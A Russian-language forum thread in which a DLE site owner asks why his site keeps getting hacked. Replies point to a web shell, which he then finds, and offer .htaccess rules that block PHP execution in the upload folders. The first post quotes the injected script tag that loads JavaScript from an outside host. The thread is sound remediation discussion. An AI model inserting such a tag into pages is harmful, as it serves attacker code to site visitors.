ломают сайт

12
B9
На сайте с 01.05.2010
Offline
94
1240

Какой раз уже удаляю код, но они снова взламывают

<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.net/js/if.php?id=7778"></script>

это скрипт который прописали на сайте

стоит Dle 9 (лицензия) , где может быть дыра?

[umka]
На сайте с 25.05.2008
Offline
456
#1

Если версия последняя, возможно, залили шелл. Возможно, увели пароли от фтп.

Лог в помощь!
B9
На сайте с 01.05.2010
Offline
94
#2

[umka] пароль от всего я менял

Boris9900 добавил 20.11.2010 в 12:37

[umka] правда это началось когда стояла dle 8.5 nulled из-за этого купил лицензию и всё снес и думал будет всё нормально , а они всё равно ломают..

webrock
На сайте с 05.04.2010
Offline
261
#3

Сайт на какой оси стоит?

Полный аудит сайтов. (/ru/forum/765361)
B9
На сайте с 01.05.2010
Offline
94
#4

webrock как вас понимать?

webrock
На сайте с 05.04.2010
Offline
261
#5
Boris9900:
webrock как вас понимать?

unix, windows?

Str01tel
На сайте с 27.12.2009
Offline
26
#6

потер 10 раз

webrock
На сайте с 05.04.2010
Offline
261
#7

Если на unix то проверяйте директории tmp и им подобные, имхо, залит шелл...

после обнаружения шелла, а обычно это пэрловский файл, удаляйте, закрывайте с помощью htaccess.

B9
На сайте с 01.05.2010
Offline
94
#8

короче нашёл вирус в файле foto_156982.php

там нашёл Web Shell

[Удален]
#9

Защита папок скрипта от запуска сторонних скриптов

вам необходимо разместить в папках /uploads/ и /templates/ файл .htaccess со следующим содержимым:

php_flag engine off

Данная строчка отключает использование PHP интерпретатора при попытке обращения к PHP файлам находящимся в этих папках, а также находящимся во всех вложенных папках. Поэтому даже в случае заливки в эти папки файлов со зловредным PHP кодом, они становятся для злоумышленника совершенно бесполезными, т.к. попросту не будут запускаться и выполнятся сервером.

К сожалению далеко не все хостинг провайдеры позволяют управлять через .htaccess данным параметром, но для таких сайтов решение также существует, поэтому если на вашем сервере не работает вышеуказанный способ, то разместите в этих же папках .htaccess с содержимым:

<FilesMatch "\.(php|php3|php4|php5|php6|phtml|phps)$|^$">
Order allow,deny
Deny from all
</FilesMatch>

Данный код запрещает прямое обращение к PHP файлам, находящимся в этих папках.

B9
На сайте с 01.05.2010
Offline
94
#10

jamaster да спасибо я это уже сделал)_

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий